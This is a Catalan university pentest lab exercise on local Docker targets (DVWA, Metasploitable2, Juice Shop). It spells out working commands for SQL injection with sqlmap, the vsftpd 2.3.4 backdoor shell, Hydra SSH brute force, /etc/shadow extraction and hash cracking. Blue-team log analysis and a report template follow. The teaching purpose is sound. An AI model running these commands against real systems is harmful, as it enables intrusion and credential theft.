PR5051 - Laboratori de Pentest amb Kali Linux
Objectius
- Configurar un entorn de pentest amb Kali Linux i màquines vulnerables
- Aplicar la metodologia completa de pentest (recon → exploit → post-exploit)
- Documentar les troballes en format de report professional
- Practicar tècniques de reconeixement WiFi en entorn controlat
- Diferenciar el rol de l'equip vermell i l'equip blau
Prerequisits
| Element | Detall |
|---|---|
| Temps estimat | 6 hores |
| Eines necessàries | Docker Desktop |
| Plataformes opcionals | TryHackMe (compte gratuït), HackTheBox |
| Legal | ÚNICAMENT sobre sistemes Docker locals o plataformes autoritzades |
Introducció
En aquesta pràctica realitzarem un pentest complet sobre un entorn Docker que simula una xarxa corporativa amb múltiples vulnerabilitats. L'entorn inclou: - Servidor web vulnerable (DVWA) - Servidor FTP amb credencials per defecte - Servidor SSH amb contrasenya feble - Base de dades MySQL accessible
Part 1: Preparació de l'Entorn
1.1 Xarxa de laboratori
# docker-compose.yml - Entorn de pentest
version: '3.8'
services:
# Atacant: Kali Linux
kali:
image: kalilinux/kali-rolling:latest
container_name: kali-NOMCOGNOM
hostname: kali-attacker-NOMCOGNOM
networks:
pentest_net:
ipv4_address: 10.10.10.5
command: sleep infinity
cap_add:
- NET_ADMIN
# Target 1: Servidor web vulnerable
dvwa:
image: vulnerables/web-dvwa:latest
container_name: target-web-NOMCOGNOM
hostname: webserver-target-NOMCOGNOM
networks:
pentest_net:
ipv4_address: 10.10.10.10
# Target 2: Metasploitable (múltiples serveis vulnerables)
metasploitable:
image: tleemcjr/metasploitable2:latest
container_name: target-msf-NOMCOGNOM
hostname: metasploitable-NOMCOGNOM
networks:
pentest_net:
ipv4_address: 10.10.10.20
# Target 3: Servidor web modern (Juice Shop)
juiceshop:
image: bkimminich/juice-shop:latest
container_name: target-shop-NOMCOGNOM
hostname: juiceshop-NOMCOGNOM
networks:
pentest_net:
ipv4_address: 10.10.10.30
networks:
pentest_net:
driver: bridge
ipam:
config:
- subnet: 10.10.10.0/24
1.2 Preparar Kali Linux
# Iniciar l'entorn
docker compose up -d
# Accedir a Kali
docker exec -it kali-NOMCOGNOM bash
# Actualitzar i instal·lar eines necessàries
apt-get update -qq
apt-get install -y nmap nikto gobuster metasploit-framework \
hydra sqlmap curl wget netcat-openbsd john hashcat \
wireshark tcpdump
# Crear el directori de treball
mkdir -p /pentest-NOMCOGNOM/{recon,exploits,evidence,report}
Part 2: Reconeixement
2.1 Descoberta de xarxa
# Dins de Kali (docker exec -it kali-NOMCOGNOM bash)
# Descobrir hostes actius
nmap -sn 10.10.10.0/24 | tee /pentest-NOMCOGNOM/recon/hosts.txt
# Escaneig detallat de cada host
for ip in 10.10.10.10 10.10.10.20 10.10.10.30; do
echo "=== Escaneig de $ip ===" >> /pentest-NOMCOGNOM/recon/ports.txt
nmap -sV -sC -O --open -T4 $ip >> /pentest-NOMCOGNOM/recon/ports.txt 2>&1
done
cat /pentest-NOMCOGNOM/recon/ports.txt
2.2 Enumeració web
# Enumeració de directoris (Target 1: DVWA)
gobuster dir \
-u http://10.10.10.10 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt \
-o /pentest-NOMCOGNOM/recon/gobuster-10.10.10.10.txt
# Escaneig de vulnerabilitats web
nikto -host http://10.10.10.10 \
-output /pentest-NOMCOGNOM/recon/nikto-10.10.10.10.txt
# Verificar tecnologies web
curl -I http://10.10.10.10 2>&1 | tee /pentest-NOMCOGNOM/recon/headers-10.10.10.10.txt
Reflexió 1
Quins serveis i ports has trobat en cada target? Quins et semblen més interessants per a intentar explotar? Classifica les vulnerabilitats potencials per ordre de risc (alt/mig/baix).
Part 3: Explotació
3.1 Target 1 - DVWA: SQL Injection
# Usar SQLMap per a explotar la SQL injection de DVWA
# Primer obtenir la cookie de sessió fent login manual (admin/password)
# Opció 1: DVWA via SQLMap
sqlmap \
-u "http://10.10.10.10/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<SESSIO>;security=low" \
--dbs \
--batch \
--output-dir /pentest-NOMCOGNOM/exploits/ \
| tee /pentest-NOMCOGNOM/exploits/sqlmap-dvwa.txt
# Extreure la taula d'usuaris
sqlmap \
-u "http://10.10.10.10/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<SESSIO>;security=low" \
-D dvwa -T users --dump \
--batch \
| tee /pentest-NOMCOGNOM/exploits/sqlmap-users.txt
3.2 Target 2 - Metasploitable: FTP Backdoor
# vsftpd 2.3.4 té una backdoor coneguda (CVE-2011-2523)
# Quan el nom d'usuari conté ':)' s'obre un port en 6200
# Mètode manual (per entendre el mecanisme):
nc 10.10.10.20 21
USER test:)
PASS test
# En un segon terminal:
nc 10.10.10.20 6200
id # Ha de retornar uid=0(root)
# Via Metasploit (documentar el procés):
msfconsole -q << 'EOF'
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run
EOF
3.3 Target 2 - Força bruta SSH
# Hydra per a força bruta SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 4 \
10.10.10.20 ssh \
-o /pentest-NOMCOGNOM/exploits/hydra-ssh.txt
# Nota: Metasploitable té credencials: msfadmin/msfadmin
# L'exercici és trobar-les via força bruta (hauria de trigar ~1 minut)
Reflexió 2
La força bruta SSH amb Hydra va tenir èxit? Quantes contrasenyes per segon prova Hydra? Quina mesura de seguretat hauria evitat aquest atac (podria ser fail2ban, autenticació per clau, canvi de port...)?
3.4 Target 3 - Juice Shop: Múltiples reptes
# Accedir a http://10.10.10.30 des del navegador (configurant el proxy per Burp Suite)
# Completar com a mínim:
# 1. SQL Injection al login (★★)
# 2. XSS Reflected (★★)
# 3. Un repte de Broken Authentication (★★)
Part 4: Post-Explotació (Metasploitable)
# Un cop obtingut accés root a Metasploitable:
# 1. Verificar l'accés
id
hostname
uname -a
# 2. Explorar la xarxa des de dins
ip addr
netstat -tunlp
arp -a
# 3. Crear "evidència" de l'accés (fitxer de prova)
echo "Prova d'accés - NOMCOGNOM - $(date)" > /tmp/proof-NOMCOGNOM.txt
cat /tmp/proof-NOMCOGNOM.txt
# 4. Extreure hashos (per a demostrar l'impacte)
cat /etc/passwd | head -5
cat /etc/shadow | head -5 # Si tenim accés root
# 5. Crackejar un hash (John the Ripper)
# Primer guardar el hash d'un usuari
echo "msfadmin:\$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/" > /tmp/hash-NOMCOGNOM.txt
# Crackejar amb John
john /tmp/hash-NOMCOGNOM.txt --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/hash-NOMCOGNOM.txt --show
Part 5: Equip Vermell vs Equip Blau
En aquesta part, treballa en parelles:
- Equip Vermell (atacant): realitza els atacs de les parts 2-4
- Equip Blau (defensor): analitza els logs per detectar els atacs
# Equip Blau: analitzar logs de la màquina atacada
# Logs SSH (força bruta visible)
docker exec target-msf-NOMCOGNOM \
tail -100 /var/log/auth.log | grep "Failed password"
# Logs Apache (escaneig de directoris visible)
docker exec target-web-NOMCOGNOM \
tail -100 /var/log/apache2/access.log | \
awk '{print $1}' | sort | uniq -c | sort -rn | head -10
# Detectar l'escaneig Nmap als logs
docker exec target-web-NOMCOGNOM \
grep "Nmap\|scanner\|masscan" /var/log/apache2/access.log
Reflexió 3
Com a equip blau, quantes de les accions de l'equip vermell heu pogut detectar als logs? Quines tècniques d'atac deixaven menys rastre als logs? Quin sistema (IDS, fail2ban, etc.) hauria alertat sobre els atacs?
Part 6: Informe de Pentest
Crea el document report_pentest_NOMCOGNOM.md:
# Report de Pentest
**Pentester**: NOMCOGNOM
**Data**: ____________________
**Scope**: 10.10.10.10-30 (entorn Docker)
**Autorització**: Pràctica de laboratori PR5051
## Resum executiu
[2-3 paràgrafs: estat general de la seguretat, risc global, recomanacions principals]
## Metodologia
[Eines i tècniques usades: nmap, gobuster, sqlmap, metasploit, hydra]
## Troballes
### [CRÍTICA] SQLi a DVWA - CVE equivalent: CWE-89
- **Sistema afectat**: 10.10.10.10 (DVWA)
- **Descripció**: SQL Injection en el paràmetre `id`
- **Evidència**: [captura de sqlmap extraient la BBDD]
- **Impacte**: Accés complet a la base de dades d'usuaris
- **Recomanació**: Usar prepared statements
### [CRÍTICA] FTP Backdoor - CVE-2011-2523
- **Sistema afectat**: 10.10.10.20 (Metasploitable)
- ...
### [ALTA] SSH - Contrasenya feble
- **Sistema afectat**: 10.10.10.20
- ...
## Anàlisi de l'Equip Blau
[Quins atacs s'han pogut detectar als logs? Quins no?]
## Reflexions
[Respostes a les 3 reflexions]
Rúbrica
Vegeu Rúbrica PR5051.